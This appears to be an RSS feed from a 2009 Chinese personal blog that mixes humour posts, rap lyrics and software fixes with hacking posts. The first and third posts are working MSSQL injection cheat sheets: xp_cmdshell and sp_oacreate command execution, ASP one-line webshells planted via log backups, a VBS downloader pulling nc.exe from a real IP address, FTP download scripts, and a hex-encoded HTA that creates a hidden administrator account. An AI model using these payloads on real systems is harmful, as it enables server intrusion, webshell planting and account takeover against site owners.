<![CDATA[Alocne]]> http://www.luzecan.cn/ PJBlog3 2009-12-18T17:16:51+08:00 <![CDATA[MSSQL注入提权的一些方法]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-12-18T17:16:51+08:00 2009-12-18T17:16:51+08:00 SA权限:利用XP_CMDSHELL,Sp_OACreate等储存过程直接提权.(前提储存过程健在)
相关SQL语句
XP_CMDSHELL:
数字型;EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'--
字符型&搜索型';EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'--
Sp_OACreate:
数字型;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c cmdline'--
字符型&搜索型';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c cmdline'--
p.s.(2000系统WINDOWS改为WINNT)

沙盘提权:
开启沙盘模式;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1--
然后利用jet.oledb执行系统命令;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c cmdline")')--
p.s.(2000系统WINDOWS改为WINNT)

直接备份一句话木马;exec sp_makewebtask 'WEB绝对路径\fuck.asp',' select ''<%25execute(request("a"))%25>'' ';--
P.S.(WEB与DATA在同一主机,知道WEB目录)

下载文件到目标主机方式:
利用NBSI等工具写入VBS文件
echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://125.113.114.49/nc.exe^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"c:\c.exe^",2 >c:\labeng.vbs
该语句作用:写一个名为labeng的VBS文件到C盘;
接着执行CSCRIPT C:\LABENG.VBS;VBS文件作用:下载http://125.113.114.49/nc.exe到C:\C.EXE;

FTP&TFTP传输:
FTP:
CMDLINE依次输入
ECHO FTP>FTP.TXT
ECHO OPEN 125.*.*.*>>FTP.TXT
ECHO USERNAME>>FTP.TXT
ECHIO PASSWORD>>FTP.TXT
ECHO GET XX.EXE>>FTP.TXT
ECHO BYE>>FTP.TXT
作用:写一个FTP.TXT文件,内容为
FTP
OPEN 125.*.*.*
USERNAME
PASSWORD
GET XX.EXE
BYE
接着执行FTP -S:FTP.TXT目标主机就会到125.*.*.*下载XX.EXE;
TFTP类似~~

DB权限:
WEB&DATA同一主机:1,列目录找到WEB目录,LOG或差异备份拿WEBSHELL,接着提权,2,猜表拿管理员ID和密码,进后台拿WEBSHELL..3,备份提权语句到启动项,等待重起
分离的情况:1,猜表拿管理员ID和密码,进后台拿WEBSHELL..2,备份提权语句到启动项,等待重起.

判断DATA主机IP:
本地NC -L -V -P 1433 监听1433端口
;insert into opendatasource('sqloledb','server=自己的IP;uid=test;pwd=test;database=test').test.dbo.ku select name from master.dbo.sysdatabases--

暴WEB路径(PS:DATA&WEB同一主机)
;create table labeng(lala nvarchar(255), null)--
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng (lala) values(@result);--
;and 1=(select count(*) from labeng where lala>1)-- 或者 ;and 1=(selet top 1 lala from labeng)--

过滤'的处理:
;DECLARE @S VARCHAR(4000);SET @S=CAST(SQL语句的十六进制数 AS VARCHAR(4000));EXEC(@S)--

LOG备份语句:
;alter database 表 set RECOVERY FULL--
;create table cmd (a image)--
;backup log 表 to disk = 'c:\Sammy' with init--
;insert into cmd (a) values ('<%%25Execute(request("value"))%%25>')--
;backup log 表 to disk = 'WEB目录\1.asp'--

一句话变形:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>

备份文件到启动项:
将LOG备份中'<%%25Execute(request("value"))%%25>'改为HTA.BAT等文件的十六进制内容

例:labeng.hta
内容:
<SCRIPT LANGUAGE="VBScript">
on error resume next
Set WS = createobject("WScript.Shell")
WS.run "cmd /c net1.exe user test$ labeng?123 /add & net1.exe localgroup
administrators test$ /add & del labeng.hta",0
</script><script language=javascript>window.close();</script>
-----------------------------------------------------------------------------
转化为十六进制:
0x3C534352495054204C414E47554147453D225642536372697074223E0D0A6F6E206572726F7220726573756D65206E6578740D0A536574205753203D206372656174656F626A6563742822575363726970742E5368656C6C22290D0A57532E72756E2022636D64202F63206E6574312E6578652075736572207465737424206C6162656E673F313233202F6164642026206E6574312E657865206C6F63616C67726F75702061646D696E6973747261746F7273207465737424202F61646420262064656C206C6162656E672E687461222C300D0A3C2F7363726970743E3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A0D0A
-----------------------------------------------------------------------------
SQL语句:
;insert into cmd (a) values(0x3C534352495054204C414E47554147453D225642536372697074223E0D0A6F6E206572726F7220726573756D65206E6578740D0A536574205753203D206372656174656F626A6563742822575363726970742E5368656C6C22290D0A57532E72756E2022636D64202F63206E6574312E6578652075736572207465737424206C6162656E673F313233202F6164642026206E6574312E657865206C6F63616C67726F75702061646D696E6973747261746F7273207465737424202F61646420262064656C206C6162656E672E687461222C300D0A3C2F7363726970743E3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A0D0A)--

------------------------------------------------------------------------------------
提升SQL用户为SA权限:
<SCRIPT LANGUAGE="VBScript">
on error resume next
Set WS = createobject("WScript.Shell")
WS.run "cmd /c echo exec master.dbo.sp_addsrvrolemember
boayo,sysadmin>c:\test.qry & isql -E /U alma /P /i c:\test.qry & del
labeng.hta",0
</script><script language=javascript>window.close();</script>
用法同上...
]]> http://www.luzecan.cn/default.asp?id=71 <![CDATA[解决windows 7 64位系统下无法使用百度有啊助手]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-11-20T09:21:00+08:00 2009-11-20T09:21:00+08:00 未能加载文件或程序集 "System.Data.SQLite, Version=1.0.60.0,Culture=neutral,PublicKeyToken=db937bc2d44ff139" 或它的某一个依赖项。试图加载格式不正确的程序。




解决方法如下：
在附件里下载System.Data.Sqlite.rar解压后到百度有啊店铺助手替换原文件即可。

只允许会员下载 该文件只允许会员下载! 登录 | 注册



]]> http://www.luzecan.cn/default.asp?id=70 <![CDATA[突破xp_cmdshell被删xml.http下载拿SHELL]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-09-02T11:57:20+08:00 2009-09-02T11:57:20+08:00 DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交：
http://www.xdadmin.com/XXX/hdsq/XXXXfo.jsp?ID=8;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--]]> http://www.luzecan.cn/default.asp?id=69 <![CDATA[好玩爆笑的QQ签名]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-08-31T20:26:35+08:00 2009-08-31T20:26:35+08:00
1、执子之手，方知子丑，泪流满面，子不走我走。 ;
2、西游记告诉我们：凡是有后台的妖怪都被接走了，凡是没后台的都被一棒子打死了。 ;
3、你有什么不开心的事？说出来让大家开心一下。 ;
4、我那么喜欢你，你喜欢我一下会死啊。 ;
5、我又不是人民币，怎么能让人人都喜欢我？！ ;
6、令人不能自拔的，除了牙齿还有爱情。 ;
7、当生活心怀歹毒地将一切都搞成了黑色幽默，我顺水推舟把自己变成了一个受过高等教育的流氓。 ;
8、时间太瘦，指缝太宽。 ;
9、小姑娘们梦中都想找一匹白马，睁开眼发现满世界都是灰不溜秋的驴，悲痛欲绝后，只能从驴群中挑个身强力壮的，这样的驴就被命名为：经济适用男。 ;
10、我就要哭，我就要闹，一宿一宿不睡觉，手里拿瓶安眠药，拿根小绳要上吊。再丑也要谈恋爱，谈到世界充满爱。 ;
11、我们的目标：向钱看，向厚赚。 ;
12、我是你转身就忘的路人甲，凭什么陪你蹉跎年华到天涯？ ;
13、没有医保和寿险的，天黑后不要见义勇为…… ;
14、挤公交是包含散打、瑜珈、柔道、平衡木等多种体育和健身项目于一体的综合性运动。 ;
15、老娘法眼一开就知道你是个妖孽了。 ;
16、手插口袋，谁都不爱。 ;
17、手拿菜刀砍电线，一路火花带闪电。 ;
18、单身并不难，难的是应付那些千方百计想让你结束单身的人。 ;
19、幸福是什么?幸福就是你吃鱼,我吃肉,看着别人啃骨头。 ;
20、念了十几年书，想起来还是幼儿园比较好混！ ;
21、我当年也是个痴情的种子，结果下了场雨……淹死了。 ;
22、很多人说婚姻是爱情的坟墓，但是能够入土为安的爱情总比暴尸街头要好。 ;
23、有空学风水去，死后占个好墓也算弥补了生前买不起好房的遗憾 ;
24、据说，人只有两个选择，忙着死或是忙着活，我想我有了第三种选择：忙着等死。 ;
25、春困夏乏秋无力，冬日正好眠。 ;
26、思念不能自已，痛苦不能自理，结果不能自取，幸福不能自予。 ;
27、小时候我以为自己长大后可以拯救整个世界，等长大后才发现整个世界都拯救不了我。;
28、如果你注定不能给予我期待的回应.那么就保持在安全距离之外吧。;
29、请不要把我对你的容忍，当成你不要脸的资本。 ;
30、女子无才便是德，我一定是太缺德了。;
31、诸葛亮出山前也没带过兵啊，你们凭啥要我有工作经验。 ;
32、用嘻哈的蓝调精神来过 二胡一样的生活。 ;
33、鸵鸟的幸福，只是一堆沙子。 ;
34、老天，太蓝！大海，太咸！人生，太难！工作，太烦！和你，有缘！想你，失眠！见你，太远！
35、一觉醒来，天都黑了。  
36、喝药递瓶，上吊给绳，跳楼的挥着小手绢送行。  
37、铁杵能磨成针，但木杵只能磨成牙签，材料不对，再努力也没用。  
38、你要搞清楚自己人生的剧本——不是你父母的续集，不是你子女的前传，更不是你朋友的外篇。  
39、树愈静而风不止，我愈恋而他不在。  
40、多想某天醒来睁开眼，发现自己坐在小学教室的课桌椅上。老师掷来的粉笔头正好打在额头上。
41、少年不胡作妄为，大胆放肆，试问老年时哪来的题材话当年。;
42、作为一个怪兽，我的愿望是至少消灭一个奥特曼。  
43、再过几十年我们来相会送到火葬场全部烧成灰你一堆我一堆谁也不认识谁全部送到农村做化肥~  
44、学问之美，在于使人一头雾水；诗歌之美，在于煽动男女出轨；女人之美，在于蠢得无怨无悔；男人之美，在于说谎说得白日见鬼。  
45、我以为我很颓废,今天我才知道,原来我早报废了。  
46、不成熟男人的标志是可以为了理想壮烈的牺牲，成熟男人的标志的可以为了理想卑贱的活着。  
47、生活就像宋祖德的嘴，你永远都不知道下一个倒霉的会是谁。  
48、阳光温热，岁月静好，你还不来，我怎敢老去？  
49、人又不聪明，还学别人秃顶。  
50、我以神的姿态,闪耀在这美的瞬间.凡人勿扰…  
51、年轻的时候，我们常常冲着镜子做鬼脸；年老的时候，镜子算是扯平了。  
52、要努力！！为了你的奥迪我的迪奥。  
53、我是白领：今天领了薪水，交了房租水电，买了油米泡面，摸了口袋，感叹一声，这个月工资又白领了…  
54、执子之手，将子拖走。子说不走，好吧，关门放狗！  
55、生活,就是这样.永远占领着绝对领导的位置,当无数的傻子高呼着自己控制了生活,掌握了命运.却没看到,生活在更高的苍穹上.露出讥笑的嘲讽的面孔。  
56、他就是一盆水，倒入你的米堆里，若干年后，清水变成了醇香的酒，而你变成了一堆废弃的烂米，不是没用了，还可以拿来喂猪的。  
57、不愿做奴隶的人民，愿做人民币的奴隶。
58、我不是天桥上算命的，唠不出那么多你爱听的磕。
59、生活二字二几十年来回味得我大小脑抽搐，脊髓痉挛。始终不得要领。  
60、真的猛士，敢于直面自己未化妆的脸。
61、天山童姥——外表正太，内心却有三百六十五道裂痕，每道裂痕上书春夏秋冬四字，沧桑到妖。 ;
62、世事往往如此，想回头也已  经来不及，即使你肯沦为劣马，不一定有回头草在等着你。  
63、曾经我们都以为自己可以为爱情死，其实爱情死不了人，它只会在最疼的地方扎上一针，然后我们欲哭无泪，我们辗转反侧，我们久病成医，我们百炼成钢。你不是风儿，我也不是沙，再缠绵也到不了天涯，擦干了泪，明天早上，我们都要上班。  
64、曾经和朋友一起仰望星空，随之我们泪流满面，他是因为失恋，我则是因为扭伤了脖子。
65、其实你我都一样，人人都在装，关键是要装像了，装圆了，有一个门槛，装成了就迈进去，成为传说中的性情中人，没装好，就卡在那里了。就是卡门。  
]]> http://www.luzecan.cn/default.asp?id=68 <![CDATA[lifes a struggle]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-07-30T15:50:10+08:00 2009-07-30T15:50:10+08:00
播放音频文件
在线播放


正当我睁开双眼踏入这个世界
妈妈给我生命现在让我自生自灭
这让我恐惧在我的眼里每个人都戴着面具
回想过去难道生命就是这样延续

我抽烟抽得我的肺都黑了
就像整个社会被人心笼罩着它也是黑的
我背着宿命的十字架
也渴望power, 我想这大概就是human nature

佛家说烦恼即是菩提我暂且不提
我倒是希望能够回到母体
老妈对不起我时常把你气得跺脚
你说你后悔当初没有堕胎把我堕掉

每当我放学回家放下那沉重的背包
家里空无一人只残留着你香水的味道
那时我知道你那天晚上又要加班
我打开冰箱拿出微波炉吃冰的晚餐

老爸在凌晨两点钟 醉醺醺地回家
我从睡梦中醒来只听到你们在吵架
我没有办法专心面对第二天的考试
老师他不喜欢我我也不喜欢老师

我讨厌穿制服我讨厌学校的制度
我讨厌训导主任的嘴脸讨厌被束缚
thats true
很多人不屑我的态度他们说我太cool
警察不爽我都曾将我逮捕
i don  give a fuck about人家说什么
他们想说什么就说什么但是他们算什么

没有谁有权利拿他的标准衡量我
主宰是我自己随便人家如何想我还是我
爱钱的女人只给凯子摸
不懂得用保险套的人别嫌孩子多
金钱力量虽大却生不带来死不带走
紧握着双拳的人们何时能松开手

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

法庭严肃的空气逼得我快不能呼吸
当时面临着终生监禁的我开始反省
铁栏杆之后又是个截然不同的景象
刑犯们眼神中看不到一点和平的气象

仅有一寸短的铅笔写的是监狱风云
日记上描绘的不是美好的户外风景
自由在他们眼里才是憧憬
放一把自制武器在枕头旁以防随时有人偷袭

有些人怀疑老婆在外偷情
有些人把家人寄来的信件一张一张好好收集
有些人二十四小时几乎在床上休息
有些人精神失常因为受不了打击

三个月如火如荼的漫长等待已过去
出狱后的我得面对三年的缓刑期
这也好一生中第一次感觉到幸福
但生命中的考验何止如此我不清楚

我不知道接下来还有什么会发生
翻开报纸的新闻又是看到放火杀人
还记得某年无意间发现的照片
上面 有阿姨对男人施行口交 的恶心画面
这简直摧毁了她 在我心目中的形象
我无法忘怀照片中那笑容多么淫荡
我抵抗胸口存在着不安及惶恐
我不断听到痛苦的声音在内心怒吼

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

不论我走到天南不论我走到地北
不论我走到哪都见识到人心的虚伪
itskindafunny在人的眼里只有money
外表好像要帮你却只是想帮他自己

笑容可掬的脸后面谁知道是个狼心狗肺
连朋友都能背叛因为只有名利合他口味
她说她爱你的时候讲的是问心无愧
搞不好她爱的是你身后的荣华富贵

你可曾困惑在你身旁谁是敌是友
对你落井下石的可能就是你的挚友
你可曾经历当你最需要帮助的时候
平常跟你称兄道弟的人都突然失踪

亲爱的神伟大的神
你可以怪我想法太过无知但我只是人
我不信人因为人也不信我
不要问我为什么我最多只能告诉你这就是我

生命像海浪一样有时高有时低
你是否告诉自己坚强渡过各种时期
我从命运的天台放眼却看不到星空
漆黑的天空压在头顶使我不得轻松

在我心中找不到一个安静的角落
我不能再沈睡下去良心彷佛在笑我
它在说:有几天几夜老妈曾经为你以泪洗面
老爸他只顾己见希望之火只见熄灭

我接起电话是老爸憔悴的声音
虽没见面却不难想像他当时的神情
刚听完他最近失业的消息
脑海里马上浮现祖母的话警告我一定要争气

我已经放弃所有哭的理由
因为我早就习惯冷漠活在无情的现实里头
人生要如何起头?改变要如何起手
当活在泥沼中要如何才能金盆洗手

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…

lifes a struggle日子还要过
品尝喜怒哀乐之后又是数不尽的troubles
everyday有多少问题要去面对
有多少夜痛苦烦恼着你无法入睡…
]]> http://www.luzecan.cn/default.asp?id=67 <![CDATA[恢复xp_cmdshell SQL Server阻止了对组件 'xp_cmdshell' 的访问]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-07-25T09:36:07+08:00 2009-07-25T09:36:07+08:00 SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

SQL2005 在默认的设置中是删除了 XP_CMDSHELL的

遇到这种情况可以用下面一句话解决

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

 

]]> http://www.luzecan.cn/default.asp?id=66 <![CDATA[解决vs2005系统注释变成英文的问题]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-06-25T10:39:50+08:00 2009-06-25T10:39:50+08:00 突然有一天发现我的vs2005的系统注释帮助变成英文的了。

怎么设置都不行,看着英文注释郁闷了好长一段时间。

后来经过同事提醒，才知道原来是装了SQL 2008之后，默认装了.NET 3.5

从一台没装.NET3.5的机子上复制C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\zh-CN路径下的文件覆盖就可以，如图

 

]]> http://www.luzecan.cn/default.asp?id=65 <![CDATA[。。。。]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-06-15T20:22:44+08:00 2009-06-15T20:22:44+08:00 1.有一个帖子问：说说你最爱的人伤你最深的一句话
　一个哥们回：你进去啦

2.吟得一首好诗不难
   难的是吟一辈子好诗

3.某男问：我长的像不像伍佰
　回帖：只有一半像

4.孔子曰：打架用砖乎，照脸乎，不宜乱乎；乎不着再乎，乎着往死里乎；乎死即拉倒不用再乎也；不死者乃英雄也!
 

5.你觉得什么事情最装B？
　一句话：
　不加标点符号
　死活拆成几行
　还说
　这是诗
　这就是装B
 

5. 问：跳水运动员的裤子为什么没被冲掉？
　一个姐姐说，跳水运动员训练两大方面：压水花，夹裤衩。：）

6.金莲顿时脸泛红晕，涡生梨颊，骨软筋酥，欲火如炽，一刻难挨。当下打熬不住，柔荑一张，便往楼主胯下探去。谁知五指所触，空然无物，大惊

7.本人生平最讨厌两种人:一种是有种族岐视的人；一种是黑人;还有一种就是不会数数的人.

8.一只河蟹横着爬过来说：你找夹吗？
 

9.日后再说

12.死者目前情绪稳定。

13.俺从不隐藏，放A片的文件夹就2个，一个叫毛选，一个叫保持party员先进性教育

 

]]> http://www.luzecan.cn/default.asp?id=64 <![CDATA[专业维修航空母舰引发的。。。]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-06-12T20:50:22+08:00 2009-06-12T20:50:22+08:00

 

-_-|

 

http://comment.news.163.com/news_junshi_bbs/5ASHGQQG00011MTO.html

 

囧

]]> http://www.luzecan.cn/default.asp?id=63 <![CDATA[龙眼鸡]]> 岸上的鱼 http://www.luzecan.cn/ Alocne@qq.com 2009-06-11T16:15:35+08:00 2009-06-11T16:15:35+08:00 下午在群里有人发的

这种像外星人（群里人说的，其实还没小指头长）的我们家那边叫“龙眼鸡”。

小时候经常抓来用绳子绑住拉着玩。

呵呵，好怀念 

]]> http://www.luzecan.cn/default.asp?id=62